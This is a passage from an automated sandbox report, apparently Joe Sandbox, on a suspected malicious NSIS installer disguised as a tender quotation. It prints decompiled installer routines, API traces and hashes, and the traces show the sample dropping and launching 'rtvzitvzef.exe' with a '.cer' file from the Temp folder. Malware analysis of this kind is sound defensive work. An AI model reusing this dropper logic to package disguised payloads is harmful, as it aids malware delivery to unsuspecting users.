          							 *0x42a274 =  *0x420ef0;
          							if(_t92 > _t110) {
          								goto L32;
          							}
          							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
          								_v12 = _v12 + 1;
          								_t110 = _t92 - 4;
          								if(_t107 > _t110) {
          									_t107 = _t110;
          								}
          								goto L20;
          							} else {
          								break;
          							}
          						}
          						L20:
          						if(_t110 <  *0x420f00) {
          							_v8 = E00406B22(_v8, 0x418ef0, _t107);
          						}
          						 *0x420ef0 =  *0x420ef0 + _t107;
          						_t110 = _t110 - _t107;
          					} while (_t110 != 0);
          					_t94 = 0;
          					goto L24;
          				}
          			}




























          0x004030db
          0x004030de
          0x004030e1
          0x004030fb
          0x00403100
          0x00403113
          0x00403118
          0x0040311e
          0x00000000
          0x00403120
          0x00403131
          0x00403142
          0x00403149
          0x00403151
          0x00403156
          0x00403158
          0x00403243
          0x00403245
          0x00403251
          0x00000000
          0x00000000
          0x0040325a
          0x00403286
          0x0040328b
          0x00403296
          0x00403298
          0x004032a9
          0x004032c4
          0x004032cd
          0x004032d2
          0x004032f1
          0x00403301
          0x00403313
          0x00403318
          0x00403320
          0x0040332d
          0x00403335
          0x0040333a
          0x0040333c
          0x0040333c
          0x00403344
          0x00403344
          0x00403347
          0x00403348
          0x00403348
          0x0040334b
          0x0040334d
          0x0040334d
          0x00403357
          0x00403363
          0x00000000
          0x00403368
          0x00000000
          0x00403320
          0x00000000
          0x004032d4
          0x00403262
          0x00403274
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040315e
          0x00403163
          0x00403168
          0x0040316c
          0x00403173
          0x0040317a
          0x0040317c
          0x0040317c
          0x00403187
          0x004032e0
          0x00403322
          0x00000000
          0x00403322
          0x00403194
          0x00403214
          0x00403218
          0x0040321d
          0x00000000
          0x00403214
          0x0040319d
          0x004031a2
          0x004031aa
          0x004031d0
          0x004031df
          0x004031e5
          0x004031ea
          0x004031f0
          0x00000000
          0x00000000
          0x004031fa
          0x00403202
          0x00403205
          0x0040320a
          0x0040320c
          0x0040320c
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004031fa
          0x0040321e
          0x00403224
          0x00403230
          0x00403230
          0x00403233
          0x00403239
          0x00403239
          0x00403241
          0x00000000
          0x00403241

          APIs
          • GetTickCount.KERNEL32 ref: 004030E4
          • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,00000400), ref: 00403100
            • Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,80000000,00000003), ref: 0040615C
            • Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E
          • GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,80000000,00000003), ref: 00403149
          • GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328B
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
          • String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
          • API String ID: 2803837635-3053568268
          • Opcode ID: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
          • Instruction ID: 6a7077609e6cbe8902eef3654a796be60faa9129f620d49927b75729aeb44cd1
          • Opcode Fuzzy Hash: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
          • Instruction Fuzzy Hash: 74710271A40204ABDB20DFB5DD85B9E3AACAB04315F21457FF901B72D2CB789E418B6D
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 459 40176f-401794 call 402da6 call 405fae 464 401796-40179c call 406668 459->464 465 40179e-4017b0 call 406668 call 405f37 lstrcatW 459->465 470 4017b5-4017b6 call 4068ef 464->470 465->470 474 4017bb-4017bf 470->474 475 4017c1-4017cb call 40699e 474->475 476 4017f2-4017f5 474->476 483 4017dd-4017ef 475->483 484 4017cd-4017db CompareFileTime 475->484 477 4017f7-4017f8 call 406133 476->477 478 4017fd-401819 call 406158 476->478 477->478 486 40181b-40181e 478->486 487 40188d-4018b6 call 4056ca call 403371 478->487 483->476 484->483 488 401820-40185e call 406668 * 2 call 4066a5 call 406668 call 405cc8 486->488 489 40186f-401879 call 4056ca 486->489 499 4018b8-4018bc 487->499 500 4018be-4018ca SetFileTime 487->500 488->474 521 401864-401865 488->521 501 401882-401888 489->501 499->500 503 4018d0-4018db FindCloseChangeNotification 499->503 500->503 504 402c33 501->504 506 4018e1-4018e4 503->506 507 402c2a-402c2d 503->507 508 402c35-402c39 504->508 511 4018e6-4018f7 call 4066a5 lstrcatW 506->511 512 4018f9-4018fc call 4066a5 506->512 507->504 518 401901-4023a2 call 405cc8 511->518 512->518 518->507 518->508 521->501 523 401867-401868 521->523 523->489
          C-Code - Quality: 77%
          			E0040176F(FILETIME* __ebx, void* __eflags) {
          				void* __esi;
          				void* _t35;
          				void* _t43;
          				void* _t45;
          				FILETIME* _t51;
          				FILETIME* _t64;
          				void* _t66;
          				signed int _t72;
          				FILETIME* _t73;
          				FILETIME* _t77;
          				signed int _t79;
          				WCHAR* _t81;
          				void* _t83;
          				void* _t84;
          				void* _t86;
          
          				_t77 = __ebx;
          				 *(_t86 - 8) = E00402DA6(0x31);
          				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
          				_t35 = E00405FAE( *(_t86 - 8));
          				_push( *(_t86 - 8));
          				_t81 = L"\"C:\\";
          				if(_t35 == 0) {
          					lstrcatW(E00405F37(E00406668(_t81, L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp")), ??);
          				} else {
          					E00406668();
          				}
          				E004068EF(_t81);
          				while(1) {
          					__eflags =  *(_t86 + 8) - 3;
          					if( *(_t86 + 8) >= 3) {
          						_t66 = E0040699E(_t81);
          						_t79 = 0;
          						__eflags = _t66 - _t77;
          						if(_t66 != _t77) {
          							_t73 = _t66 + 0x14;
          							__eflags = _t73;
          							_t79 = CompareFileTime(_t73, _t86 - 0x24);
          						}
          						asm("sbb eax, eax");
          						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
          						__eflags = _t72;
          						 *(_t86 + 8) = _t72;
          					}
          					__eflags =  *(_t86 + 8) - _t77;
          					if( *(_t86 + 8) == _t77) {
          						E00406133(_t81);
          					}
          					__eflags =  *(_t86 + 8) - 1;
          					_t43 = E00406158(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
          					__eflags = _t43 - 0xffffffff;
          					 *(_t86 - 0x38) = _t43;
          					if(_t43 != 0xffffffff) {
          						break;
          					}
          					__eflags =  *(_t86 + 8) - _t77;
          					if( *(_t86 + 8) != _t77) {
          						E004056CA(0xffffffe2,  *(_t86 - 8));
          						__eflags =  *(_t86 + 8) - 2;
          						if(__eflags == 0) {
          							 *((intOrPtr*)(_t86 - 4)) = 1;
          						}
          						L31:
          						 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t86 - 4));
          						__eflags =  *0x42a2e8;
          						goto L32;
          					} else {
          						E00406668(0x40b5f8, _t83);
          						E00406668(_t83, _t81);
          						E004066A5(_t77, _t81, _t83, "C:\Users\FRONTD~1\AppData\Local\Temp",  *((intOrPtr*)(_t86 - 0x1c)));
          						E00406668(_t83, 0x40b5f8);
          						_t64 = E00405CC8("C:\Users\FRONTD~1\AppData\Local\Temp",  *(_t86 - 0x30) >> 3) - 4;
          						__eflags = _t64;
          						if(_t64 == 0) {
          							continue;
          						} else {
          							__eflags = _t64 == 1;
          							if(_t64 == 1) {
          								 *0x42a2e8 =  &( *0x42a2e8->dwLowDateTime);
          								L32:
          								_t51 = 0;
          								__eflags = 0;
          							} else {
          								_push(_t81);
          								_push(0xfffffffa);
          								E004056CA();
          								L29:
          								_t51 = 0x7fffffff;
          							}
          						}
          					}
          					L33:
          					return _t51;
          				}
          				E004056CA(0xffffffea,  *(_t86 - 8));
          				 *0x42a314 =  *0x42a314 + 1;
          				_t45 = E00403371(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
          				 *0x42a314 =  *0x42a314 - 1;
          				__eflags =  *(_t86 - 0x24) - 0xffffffff;
          				_t84 = _t45;
          				if( *(_t86 - 0x24) != 0xffffffff) {
          					L22:
          					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
          				} else {
          					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
          					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
          						goto L22;
          					}
          				}
          				FindCloseChangeNotification( *(_t86 - 0x38)); // executed
          				__eflags = _t84 - _t77;
          				if(_t84 >= _t77) {
          					goto L31;
          				} else {
          					__eflags = _t84 - 0xfffffffe;
          					if(_t84 != 0xfffffffe) {
          						E004066A5(_t77, _t81, _t84, _t81, 0xffffffee);
          					} else {
          						E004066A5(_t77, _t81, _t84, _t81, 0xffffffe9);
          						lstrcatW(_t81,  *(_t86 - 8));
          					}
          					_push(0x200010);
          					_push(_t81);
          					E00405CC8();
          					goto L29;
          				}
          				goto L33;
          			}


















          0x0040176f
          0x00401776
          0x00401782
          0x00401785
          0x0040178a
          0x0040178d
          0x00401794
          0x004017b0
          0x00401796
          0x00401797
          0x00401797
          0x004017b6
          0x004017bb
          0x004017bb
          0x004017bf
          0x004017c2
          0x004017c7
          0x004017c9
          0x004017cb
          0x004017d0
          0x004017d0
          0x004017db
          0x004017db
          0x004017ec
          0x004017ee
          0x004017ee
          0x004017ef
          0x004017ef
          0x004017f2
          0x004017f5
          0x004017f8
          0x004017f8
          0x004017ff
          0x0040180e
          0x00401813
          0x00401816
          0x00401819
          0x00000000
          0x00000000
          0x0040181b
          0x0040181e
          0x00401874
          0x00401879
          0x004015b6
          0x0040292e
          0x0040292e
          0x00402c2a
          0x00402c2d
          0x00402c2d
          0x00000000
          0x00401820
          0x00401826
          0x0040182d
          0x0040183a
          0x00401845
          0x0040185b
          0x0040185b
          0x0040185e
          0x00000000
          0x00401864
          0x00401864
          0x00401865
          0x00401882
          0x00402c33
          0x00402c33
          0x00402c33
          0x00401867
          0x00401867
          0x00401868
          0x00401493
          0x0040239d
          0x0040239d
          0x0040239d
          0x00401865
          0x0040185e
          0x00402c35
          0x00402c39
          0x00402c39
          0x00401892
          0x00401897
          0x004018a5
          0x004018aa
          0x004018b0
          0x004018b4
          0x004018b6
          0x004018be
          0x004018ca
          0x004018b8
          0x004018b8
          0x004018bc
          0x00000000
          0x00000000
          0x004018bc
          0x004018d3
          0x004018d9
          0x004018db
          0x00000000
          0x004018e1
          0x004018e1
          0x004018e4
          0x004018fc
          0x004018e6
          0x004018e9
          0x004018f2
          0x004018f2
          0x00401901
          0x00401906
          0x00402398
          0x00000000
          0x00402398
          0x00000000

          APIs
          • lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
          • CompareFileTime.KERNEL32(-00000014,?,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000000,00000000,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,C:\Users\user~1\AppData\Local\Temp,?,?,00000031), ref: 004017D5
            • Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675
            • Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
            • Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
            • Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
            • Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
            • Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
            • Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
            • Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
          • String ID: "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer$C:\Users\user~1\AppData\Local\Temp$C:\Users\user~1\AppData\Local\Temp
          • API String ID: 1941528284-3448038942
          • Opcode ID: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
          • Instruction ID: 87dd38174d63fc88252c3cacf76d35d2aef1a13c6195c1d88e2760da23471212
          • Opcode Fuzzy Hash: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
          • Instruction Fuzzy Hash: DE41B771500205BACF10BBB5CD85DAE7A75EF45328B20473FF422B21E1D63D89619A2E
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 525 4069c5-4069e5 GetSystemDirectoryW 526 4069e7 525->526 527 4069e9-4069eb 525->527 526->527 528 4069fc-4069fe 527->528 529 4069ed-4069f6 527->529 530 4069ff-406a32 wsprintfW LoadLibraryExW 528->530 529->528 531 4069f8-4069fa 529->531 531->530
          C-Code - Quality: 100%
          			E004069C5(intOrPtr _a4) {
          				short _v576;
          				signed int _t13;
          				struct HINSTANCE__* _t17;
          				signed int _t19;
          				void* _t24;
          
          				_t13 = GetSystemDirectoryW( &_v576, 0x104);
          				if(_t13 > 0x104) {
          					_t13 = 0;
          				}
          				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
          					_t19 = 1;
          				} else {
          					_t19 = 0;
          				}
          				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
          				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
          				return _t17;
          			}








          0x004069dc
          0x004069e5
          0x004069e7
          0x004069e7
          0x004069eb
          0x004069fe
          0x004069f8
          0x004069f8
          0x004069f8
          0x00406a17
          0x00406a2b
          0x00406a32

          APIs
          • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
          • wsprintfW.USER32 ref: 00406A17
          • LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: DirectoryLibraryLoadSystemwsprintf
          • String ID: %s%S.dll$UXTHEME$\
          • API String ID: 2200240437-1946221925
          • Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
          • Instruction ID: e2ac2e7087162e0187f8b4d6776822ec24d6e31928394cf94a41c199a4feb156
          • Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
          • Instruction Fuzzy Hash: 3AF096B154121DA7DB14AB68DD0EF9B366CAB00705F11447EA646F20E0EB7CDA68CB98
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 532 405b99-405be4 CreateDirectoryW 533 405be6-405be8 532->533 534 405bea-405bf7 GetLastError 532->534 535 405c11-405c13 533->535 534->535 536 405bf9-405c0d SetFileSecurityW 534->536 536->533 537 405c0f GetLastError 536->537 537->535
          C-Code - Quality: 100%
          			E00405B99(WCHAR* _a4) {
          				struct _SECURITY_ATTRIBUTES _v16;
          				struct _SECURITY_DESCRIPTOR _v36;
          				int _t22;
          				long _t23;
          
          				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
          				_v36.Owner = 0x4083f8;
          				_v36.Group = 0x4083f8;
          				_v36.Sacl = _v36.Sacl & 0x00000000;
          				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
          				_v16.lpSecurityDescriptor =  &_v36;
          				_v36.Revision = 1;
          				_v36.Control = 4;
          				_v36.Dacl = 0x4083e8;
          				_v16.nLength = 0xc;
          				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
          				if(_t22 != 0) {
          					L1:
          					return 0;
          				}
          				_t23 = GetLastError();
          				if(_t23 == 0xb7) {
          					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
          						goto L1;
          					}
          					return GetLastError();
          				}
          				return _t23;
          			}







          0x00405ba4
          0x00405ba8
          0x00405bab
          0x00405bb1
          0x00405bb5
          0x00405bb9
          0x00405bc1
          0x00405bc8
          0x00405bce
          0x00405bd5
          0x00405bdc
          0x00405be4
          0x00405be6
          0x00000000
          0x00405be6
          0x00405bf0
          0x00405bf7
          0x00405c0d
          0x00000000
          0x00000000
          0x00000000
          0x00405c0f
          0x00405c13

          APIs
          • CreateDirectoryW.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\), ref: 00405BDC
          • GetLastError.KERNEL32 ref: 00405BF0
          • SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C05
          • GetLastError.KERNEL32 ref: 00405C0F
          Strings
          • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405BBF
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: ErrorLast$CreateDirectoryFileSecurity
          • String ID: C:\Users\user~1\AppData\Local\Temp\
          • API String ID: 3449924974-2382934351
          • Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
          • Instruction ID: 886f74eda6482ab63e8fe18d08a652fea41827dc0a526659a7d7b5e138c44e4e
          • Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
          • Instruction Fuzzy Hash: 95010871D04219EAEF009FA1CD44BEFBBB8EF14314F04403ADA44B6180E7789648CB99
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 538 406bb0-406bd3 539 406bd5-406bd8 538->539 540 406bdd-406be0 538->540 541 4075fd-407601 539->541 542 406be3-406bec 540->542 543 406bf2 542->543 544 4075fa 542->544 545 406bf9-406bfd 543->545 546 406d39-4073e0 543->546 547 406c9e-406ca2 543->547 548 406d0e-406d12 543->548 544->541 549 406c03-406c10 545->549 550 4075e5-4075f8 545->550 556 4073e2-4073f8 546->556 557 4073fa-407410 546->557 554 406ca8-406cc1 547->554 555 40754e-407558 547->555 551 406d18-406d2c 548->551 552 40755d-407567 548->552 549->544 558 406c16-406c5c 549->558 550->541 559 406d2f-406d37 551->559 552->550 560 406cc4-406cc8 554->560 555->550 561 407413-40741a 556->561 557->561 562 406c84-406c86 558->562 563 406c5e-406c62 558->563 559->546 559->548 560->547 564 406cca-406cd0 560->564 567 407441-40744d 561->567 568 40741c-407420 561->568 571 406c94-406c9c 562->571 572 406c88-406c92 562->572 569 406c64-406c67 GlobalFree 563->569 570 406c6d-406c7b GlobalAlloc 563->570 565 406cd2-406cd9 564->565 566 406cfa-406d0c 564->566 573 406ce4-406cf4 GlobalAlloc 565->573 574 406cdb-406cde GlobalFree 565->574 566->559 567->542 575 407426-40743e 568->575 576 4075cf-4075d9 568->576 569->570 570->544 578 406c81 570->578 571->560 572->571 572->572 573->544 573->566 574->573 575->567 576->550 578->562
          C-Code - Quality: 98%
          			E00406BB0(void* __ecx) {
          				void* _v8;
          				void* _v12;
          				signed int _v16;
          				unsigned int _v20;
          				signed int _v24;
          				signed int _v28;
          				signed int _v32;
          				signed int _v36;
          				signed int _v40;
          				signed int _v44;
          				signed int _v48;
          				signed int _v52;
          				signed int _v56;
          				signed int _v60;
          				signed int _v64;
          				signed int _v68;
          				signed int _v72;
          				signed int _v76;
          				signed int _v80;
          				signed int _v84;
          				signed int _v88;
          				signed int _v92;
          				signed int _v95;
          				signed int _v96;
          				signed int _v100;
          				signed int _v104;
          				signed int _v108;
          				signed int _v112;
          				signed int _v116;
          				signed int _v120;
          				intOrPtr _v124;
          				signed int _v128;
          				signed int _v132;
          				signed int _v136;
          				void _v140;
          				void* _v148;
          				signed int _t537;
          				signed int _t538;
          				signed int _t572;
          
          				_t572 = 0x22;
          				_v148 = __ecx;
          				memcpy( &_v140, __ecx, _t572 << 2);
          				if(_v52 == 0xffffffff) {
          					return 1;
          				}
          				while(1) {
          					L3:
          					_t537 = _v140;
          					if(_t537 > 0x1c) {
          						break;
          					}
          					switch( *((intOrPtr*)(_t537 * 4 +  &M00407602))) {
          						case 0:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								goto L173;
          							}
          							_v112 = _v112 - 1;
          							_v116 = _v116 + 1;
          							_t537 =  *_v116;
          							__eflags = _t537 - 0xe1;
          							if(_t537 > 0xe1) {
          								goto L174;
          							}
          							_t542 = _t537 & 0x000000ff;
          							_push(0x2d);
          							asm("cdq");
          							_pop(_t576);
          							_push(9);
          							_pop(_t577);
          							_t622 = _t542 / _t576;
          							_t544 = _t542 % _t576 & 0x000000ff;
          							asm("cdq");
          							_t617 = _t544 % _t577 & 0x000000ff;
          							_v64 = _t617;
          							_v32 = (1 << _t622) - 1;
          							_v28 = (1 << _t544 / _t577) - 1;
          							_t625 = (0x300 << _t617 + _t622) + 0x736;
          							__eflags = 0x600 - _v124;
          							if(0x600 == _v124) {
          								L12:
          								__eflags = _t625;
          								if(_t625 == 0) {
          									L14:
          									_v76 = _v76 & 0x00000000;
          									_v68 = _v68 & 0x00000000;
          									goto L17;
          								} else {
          									goto L13;
          								}
          								do {
          									L13:
          									_t625 = _t625 - 1;
          									__eflags = _t625;
          									 *((short*)(_v8 + _t625 * 2)) = 0x400;
          								} while (_t625 != 0);
          								goto L14;
          							}
          							__eflags = _v8;
          							if(_v8 != 0) {
          								GlobalFree(_v8);
          							}
          							_t537 = GlobalAlloc(0x40, 0x600); // executed
          							__eflags = _t537;
          							_v8 = _t537;
          							if(_t537 == 0) {
          								goto L174;
          							} else {
          								_v124 = 0x600;
          								goto L12;
          							}
          						case 1:
          							L15:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 1;
          								goto L173;
          							}
          							_v112 = _v112 - 1;
          							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
          							_v116 = _v116 + 1;
          							_t50 =  &_v76;
          							 *_t50 = _v76 + 1;
          							__eflags =  *_t50;
          							L17:
          							__eflags = _v76 - 4;
          							if(_v76 < 4) {
          								goto L15;
          							}
          							_t550 = _v68;
          							__eflags = _t550 - _v120;
          							if(_t550 == _v120) {
          								L22:
          								_v76 = 5;
          								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
          								goto L25;
          							}
          							__eflags = _v12;
          							_v120 = _t550;
          							if(_v12 != 0) {
          								GlobalFree(_v12);
          							}
          							_t537 = GlobalAlloc(0x40, _v68); // executed
          							__eflags = _t537;
          							_v12 = _t537;
          							if(_t537 == 0) {
          								goto L174;
          							} else {
          								goto L22;
          							}
          						case 2:
          							L26:
          							_t557 = _v100 & _v32;
          							_v136 = 6;
          							_v80 = _t557;
          							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
          							goto L135;
          						case 3:
          							L23:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 3;
          								goto L173;
          							}
          							_v112 = _v112 - 1;
          							_t72 =  &_v116;
          							 *_t72 = _v116 + 1;
          							__eflags =  *_t72;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							L25:
          							_v76 = _v76 - 1;
          							__eflags = _v76;
          							if(_v76 != 0) {
          								goto L23;
          							}
          							goto L26;
          						case 4:
          							L136:
          							_t559 =  *_t626;
          							_t610 = _t559 & 0x0000ffff;
          							_t591 = (_v20 >> 0xb) * _t610;
          							__eflags = _v16 - _t591;
          							if(_v16 >= _t591) {
          								_v20 = _v20 - _t591;
          								_v16 = _v16 - _t591;
          								_v68 = 1;
          								_t560 = _t559 - (_t559 >> 5);
          								__eflags = _t560;
          								 *_t626 = _t560;
          							} else {
          								_v20 = _t591;
          								_v68 = _v68 & 0x00000000;
          								 *_t626 = (0x800 - _t610 >> 5) + _t559;
          							}
          							__eflags = _v20 - 0x1000000;
          							if(_v20 >= 0x1000000) {
          								goto L142;
          							} else {
          								goto L140;
          							}
          						case 5:
          							L140:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 5;
          								goto L173;
          							}
          							_v20 = _v20 << 8;
          							_v112 = _v112 - 1;
          							_t464 =  &_v116;
          							 *_t464 = _v116 + 1;
          							__eflags =  *_t464;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							L142:
          							_t561 = _v136;
          							goto L143;
          						case 6:
          							__edx = 0;
          							__eflags = _v68;
          							if(_v68 != 0) {
